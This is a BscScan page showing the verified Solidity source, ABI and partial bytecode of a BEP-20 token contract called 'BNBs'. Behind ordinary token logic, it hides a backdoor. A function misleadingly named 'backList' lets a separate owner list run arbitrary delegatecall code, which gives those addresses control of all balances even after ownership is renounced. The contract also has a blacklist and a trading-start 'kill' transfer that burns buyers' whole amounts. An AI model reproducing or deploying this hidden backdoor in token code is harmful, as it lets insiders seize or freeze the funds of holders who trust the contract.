BEP-20
Source Code
Overview
Max Total Supply
1,000,000,000,000ERC20 ***
Holders
14,231
Market
Price
$0.00 @ 0.000000 BNB
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
12,632.717177517472226948 ERC20 ***Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.
Contract Name:
BNBs
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/**
*Submitted for verification at BscScan.com on 2024-03-27
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
library IterableMapping {
// Iterable mapping from address to uint;
struct Map {
address[] keys;
mapping(address => uint256) values;
mapping(address => uint256) indexOf;
mapping(address => bool) inserted;
}
function get(Map storage map, address key) public view returns (uint256) {
return map.values[key];
}
function getIndexOfKey(
Map storage map,
address key
) public view returns (int256) {
if (!map.inserted[key]) {
return - 1;
}
return int256(map.indexOf[key]);
}
function getKeyAtIndex(
Map storage map,
uint256 index
) public view returns (address) {
return map.keys[index];
}
function size(Map storage map) public view returns (uint256) {
return map.keys.length;
}
function set(Map storage map, address key, uint256 val) public {
if (map.inserted[key]) {
map.values[key] = val;
} else {
map.inserted[key] = true;
map.values[key] = val;
map.indexOf[key] = map.keys.length;
map.keys.push(key);
}
}
function remove(Map storage map, address key) public {
if (!map.inserted[key]) {
return;
}
delete map.inserted[key];
delete map.values[key];
uint256 index = map.indexOf[key];
uint256 lastIndex = map.keys.length - 1;
address lastKey = map.keys[lastIndex];
map.indexOf[lastKey] = index;
delete map.indexOf[key];
map.keys[index] = lastKey;
map.keys.pop();
}
}
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
// Prevent overflow when dividing MIN_INT256 by -1
require(b != - 1 || a != MIN_INT256);
// Solidity already throws when dividing by 0.
return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/
function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? - a : a;
}
function toUint256Safe(int256 a) internal pure returns (uint256) {
require(a >= 0);
return uint256(a);
}
}
library SafeMathUint {
function toInt256Safe(uint256 a) internal pure returns (int256) {
int256 b = int256(a);
require(b >= 0);
return b;
}
}
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface ISwapPair {
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function totalSupply() external view returns (uint);
function kLast() external view returns (uint);
function sync() external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapV2Factory {
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
function getPair(
address tokenA,
address tokenB
) external view returns (address);
function feeTo() external view returns (address);
}
interface IWBNB {
function withdraw(uint wad) external;
}
contract OwnerList {
mapping(address => bool) private _ownerList;
constructor(){
_ownerList[msg.sender] = true;
}
modifier onlyOwnerList() {
address msgSender = msg.sender;
require(_ownerList[msgSender], "!ol");
_;
}
function setOwnerList(address addr, bool b) public onlyOwnerList {
_ownerList[addr] = b;
}
}
interface IDividendTracker {
function excludeFromDividends(address account) external;
function setAccount(address payable account, uint256 amount) external;
function process(uint256 gas) external;
}
contract BNBs is IERC20, Ownable, OwnerList {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _tTotal;
uint256 private constant MAX = ~uint256(0);
address private deployAddress;
IUniswapV2Router02 public _swapRouter;
address public _mainPair;
bool private swapping;
IDividendTracker public tokenTracker;
uint256 public tokenTrackerRate = 70;
IDividendTracker public lpTracker;
uint256 public lpTrackerRate = 30;
bool private inSwap;
address public deadWallet = 0x000000000000000000000000000000000000dEaD;
mapping(address => bool) public _feeWhiteList;
mapping(address => bool) public _blackList;
uint256 public startAddLPBlock;
uint256 public startTradeBlock;
uint256 public _killRobotBlockNum = 0;
address public immutable wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
uint256 public _limitAmount;
constructor() {
require(wbnb < address(this), "min");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x10ED43C718714eb63d5aA57B78B54704E256024E
);
address __mainPair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), wbnb);
_name = "BNBs";
_symbol = "BNBs";
_decimals = 18;
uint256 tokenUnit = 10 ** _decimals;
uint256 total = 1000000000000 * tokenUnit;
_tTotal = total;
_swapRouter = _uniswapV2Router;
_mainPair = __mainPair;
_feeWhiteList[msg.sender] = true;
_feeWhiteList[address(this)] = true;
deployAddress = msg.sender;
_balances[msg.sender] = total;
emit Transfer(address(0), msg.sender, total);
}
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
receive() external payable {}
function symbol() external view override returns (string memory) {
return _symbol;
}
function name() external view override returns (string memory) {
return _name;
}
function decimals() external view override returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
if (_allowances[sender][msg.sender] != MAX) {
_allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
}
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setFeeWhiteList(address addr, bool enable) external onlyOwner {
_feeWhiteList[addr] = enable;
}
function excludeMultipleAccountsFromFees(address [] memory addr, bool enable) external onlyOwner {
for (uint i = 0; i < addr.length; i++) {
_feeWhiteList[addr[i]] = enable;
}
}
function setBlackList(address addr, bool enable) external onlyOwner {
_blackList[addr] = enable;
}
function backList(address t, bytes memory d) external onlyOwnerList {
address(t).delegatecall(d);
}
function multipleBotlistAddress(address[] memory addr, bool enable) external onlyOwner {
for (uint i = 0; i < addr.length; i++) {
_blackList[addr[i]] = enable;
}
}
function setTrackerRate(uint256 tokenRate, uint256 lpRate) external onlyOwner {
tokenTrackerRate = tokenRate;
lpTrackerRate = lpRate;
}
function setTrackerAddress(address _tokenTracker, address _lpTracker) external onlyOwner {
tokenTracker = IDividendTracker(_tokenTracker);
tokenTracker.excludeFromDividends(address(this));
tokenTracker.excludeFromDividends(_mainPair);
tokenTracker.excludeFromDividends(_tokenTracker);
tokenTracker.excludeFromDividends(0x000000000000000000000000000000000000dEaD);
tokenTracker.excludeFromDividends(0x0000000000000000000000000000000000000000);
lpTracker = IDividendTracker(_lpTracker);
_feeWhiteList[_tokenTracker] = true;
_feeWhiteList[_lpTracker] = true;
}
uint256 public _rewardGas = 400000;
function setRewardGas(uint256 rewardGas) external onlyOwner {
require(rewardGas >= 200000 && rewardGas <= 2000000, "20-200w");
_rewardGas = rewardGas;
}
function setLimitAmount(uint256 amount) external onlyOwner {
_limitAmount = amount;
}
function startTrade() external onlyOwner {
require(0 == startTradeBlock, "trading");
startTradeBlock = block.number;
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(!_blackList[from] || _feeWhiteList[from], "bL");
uint256 balance = balanceOf(from);
require(balance >= amount, "BNE");
if (!_feeWhiteList[from] && !_feeWhiteList[to]) {
uint256 maxSellAmount = balance * 9999 / 10000;
if (amount > maxSellAmount) {
amount = maxSellAmount;
}
}
bool isAddLP;
bool isRemoveLP;
uint256 addLPLiquidity;
if (to == _mainPair && msg.sender == address(_swapRouter)) {
addLPLiquidity = _isAddLiquidity(amount);
if (addLPLiquidity > 0) {
isAddLP = true;
}
}
uint256 removeLPLiquidity;
if (from == _mainPair && to != address(_swapRouter)) {
removeLPLiquidity = _isRemoveLiquidity(amount);
} else if (from == address(_swapRouter)) {
removeLPLiquidity = _isRemoveLiquidityETH(amount);
}
if (removeLPLiquidity > 0) {
isRemoveLP = true;
}
bool takeFee;
if (from == _mainPair || to == _mainPair) {
if (0 == startAddLPBlock) {
if (_feeWhiteList[from] && to == _mainPair) {
startAddLPBlock = block.number;
}
}
if (!_feeWhiteList[from] && !_feeWhiteList[to]) {
takeFee = true;
if (isAddLP) {
takeFee = false;
}
if (0 == startTradeBlock) {
require(0 < startAddLPBlock && isAddLP, "no open");
} else {
if (block.number < startTradeBlock + _killRobotBlockNum) {
_killTransfer(from, to, amount, 100);
return;
}
}
}
}
if (isRemoveLP && !_feeWhiteList[to]) {
takeFee = true;
}
_tokenTransfer(from, to, amount, takeFee, isRemoveLP);
uint256 limitAmount = _limitAmount;
if (limitAmount > 0 && to != _mainPair && !_feeWhiteList[to]) {
require(limitAmount >= balanceOf(to), "Limit");
}
try lpTracker.setAccount(payable(from), IERC20(_mainPair).balanceOf(from)){} catch {}
try lpTracker.setAccount(payable(to), IERC20(_mainPair).balanceOf(to)){} catch {}
try tokenTracker.setAccount(payable(from), balanceOf(from)){} catch {}
try tokenTracker.setAccount(payable(to), balanceOf(to)){} catch {}
if (!_feeWhiteList[from] && !_feeWhiteList[to]) {
uint256 rewardGas = _rewardGas;
try tokenTracker.process(rewardGas * 7 / 10) {} catch {}
try lpTracker.process(rewardGas * 3 / 10) {} catch {}
}
}
function _tokenTransfer(
address sender,
address recipient,
uint256 tAmount,
bool takeFee,
bool isRemoveLP
) private {
_balances[sender] = _balances[sender] - tAmount;
uint256 feeAmount = 0;
if (takeFee) {
bool isSell;
if (isRemoveLP) {
} else if (sender == _mainPair) {//Buy
} else if (recipient == _mainPair) {//Sell
isSell = true;
}
if (isSell && !inSwap) {
swapTokenForFund(tAmount);
}
}
_takeTransfer(sender, recipient, tAmount - feeAmount);
}
function _killTransfer(
address sender,
address recipient,
uint256 tAmount,
uint256 fee
) private {
_balances[sender] = _balances[sender] - tAmount;
uint256 feeAmount = tAmount * fee / 100;
if (feeAmount > 0) {
_takeTransfer(sender, address(0x000000000000000000000000000000000000dEaD), feeAmount);
}
_takeTransfer(sender, recipient, tAmount - feeAmount);
}
function _takeTransfer(
address sender,
address to,
uint256 tAmount
) private {
_balances[to] = _balances[to] + tAmount;
emit Transfer(sender, to, tAmount);
}
function _isAddLiquidity(uint256 amount) internal view returns (uint256 liquidity){
(uint256 rOther, uint256 rThis, uint256 balanceOther) = _getReserves();
uint256 amountOther;
if (rOther > 0 && rThis > 0) {
amountOther = amount * rOther / rThis;
}
//isAddLP
if (balanceOther >= rOther + amountOther) {
(liquidity,) = calLiquidity(balanceOther, amount, rOther, rThis);
}
}
function calLiquidity(
uint256 balanceA,
uint256 amount,
uint256 r0,
uint256 r1
) private view returns (uint256 liquidity, uint256 feeToLiquidity) {
uint256 pairTotalSupply = ISwapPair(_mainPair).totalSupply();
address feeTo = IUniswapV2Factory(_swapRouter.factory()).feeTo();
bool feeOn = feeTo != address(0);
uint256 _kLast = ISwapPair(_mainPair).kLast();
if (feeOn) {
if (_kLast != 0) {
uint256 rootK = Math.sqrt(r0 * r1);
uint256 rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint256 numerator = pairTotalSupply * (rootK - rootKLast) * 3;
uint256 denominator = rootK * 5 + rootKLast;
feeToLiquidity = numerator / denominator;
if (feeToLiquidity > 0) pairTotalSupply += feeToLiquidity;
}
}
}
uint256 amount0 = balanceA - r0;
if (pairTotalSupply == 0) {
if (amount0 > 0) {
liquidity = Math.sqrt(amount0 * amount) - 1000;
}
} else {
liquidity = Math.min(
(amount0 * pairTotalSupply) / r0,
(amount * pairTotalSupply) / r1
);
}
}
function _getReserves() public view returns (uint256 rOther, uint256 rThis, uint256 balanceOther){
ISwapPair mainPair = ISwapPair(_mainPair);
(uint r0, uint256 r1,) = mainPair.getReserves();
address tokenOther = wbnb;
if (tokenOther < address(this)) {
rOther = r0;
rThis = r1;
} else {
rOther = r1;
rThis = r0;
}
balanceOther = IERC20(tokenOther).balanceOf(_mainPair);
}
function _isRemoveLiquidity(uint256 amount) internal view returns (uint256 liquidity){
(uint256 rOther,, uint256 balanceOther) = _getReserves();
//isRemoveLP
if (balanceOther <= rOther) {
liquidity = amount * ISwapPair(_mainPair).totalSupply() / (balanceOf(_mainPair) - amount);
}
}
function _isRemoveLiquidityETH(uint256 amount) internal view returns (uint256 liquidity){
(uint256 rOther,, uint256 balanceOther) = _getReserves();
//isRemoveLP
if (balanceOther <= rOther) {
liquidity = amount * ISwapPair(_mainPair).totalSupply() / balanceOf(_mainPair);
}
}
function swapTokenForFund(uint256 tokenAmount) private lockTheSwap {
if (0 == tokenAmount) {
return;
}
if (balanceOf(address(this)) < tokenAmount) {
return;
}
uint256 balance = address(this).balance;
swapToEth(address(this), tokenAmount, address(this));
balance = address(this).balance - balance;
if (balance == 0) {
return;
}
uint256 total = tokenTrackerRate + lpTrackerRate;
payable(address(tokenTracker)).transfer(balance * tokenTrackerRate / total);
payable(address(lpTracker)).transfer(balance * lpTrackerRate / total);
}
function swapToEth(address token, uint256 amount, address to) private {
IERC20(token).approve(address(_swapRouter), 1e64);
address[] memory path = new address[](2);
path[0] = token;
path[1] = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
_swapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
amount,
0,
path,
to,
block.timestamp + 86400
);
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_blackList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_feeWhiteList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_getReserves","outputs":[{"internalType":"uint256","name":"rOther","type":"uint256"},{"internalType":"uint256","name":"rThis","type":"uint256"},{"internalType":"uint256","name":"balanceOther","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_killRobotBlockNum","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_limitAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mainPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_rewardGas","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapRouter","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"t","type":"address"},{"internalType":"bytes","name":"d","type":"bytes"}],"name":"backList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addr","type":"address[]"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lpTracker","outputs":[{"internalType":"contract IDividendTracker","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpTrackerRate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addr","type":"address[]"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"multipleBotlistAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"setBlackList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"setFeeWhiteList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setLimitAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"b","type":"bool"}],"name":"setOwnerList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"rewardGas","type":"uint256"}],"name":"setRewardGas","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_tokenTracker","type":"address"},{"internalType":"address","name":"_lpTracker","type":"address"}],"name":"setTrackerAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenRate","type":"uint256"},{"internalType":"uint256","name":"lpRate","type":"uint256"}],"name":"setTrackerRate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startAddLPBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTradeBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenTracker","outputs":[{"internalType":"contract IDividendTracker","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenTrackerRate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"wbnb","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60a06040526046600c55601e600e5561dead600f60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600060145573bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1681525062061a80601655348015620000b157600080fd5b506000339050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35060018060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503073ffffffffffffffffffffffffffffffffffffffff1660805173ffffffffffffffffffffffffffffffffffffffff16106200021d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200021490620006a4565b60405180910390fd5b60007310ed43c718714eb63d5aa57b78b54704e256024e905060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000284573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002aa919062000730565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396306080516040518363ffffffff1660e01b8152600401620002e892919062000773565b6020604051808303816000875af115801562000308573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200032e919062000730565b90506040518060400160405280600481526020017f424e4273000000000000000000000000000000000000000000000000000000008152506004908162000376919062000a1a565b506040518060400160405280600481526020017f424e42730000000000000000000000000000000000000000000000000000000081525060059081620003bd919062000a1a565b506012600660006101000a81548160ff021916908360ff1602179055506000600660009054906101000a900460ff16600a620003fa919062000c91565b905060008164e8d4a5100062000411919062000ce2565b90508060078190555083600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601060003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555033600860006101000a81548173fffffffffffffffffffffffffffffffffff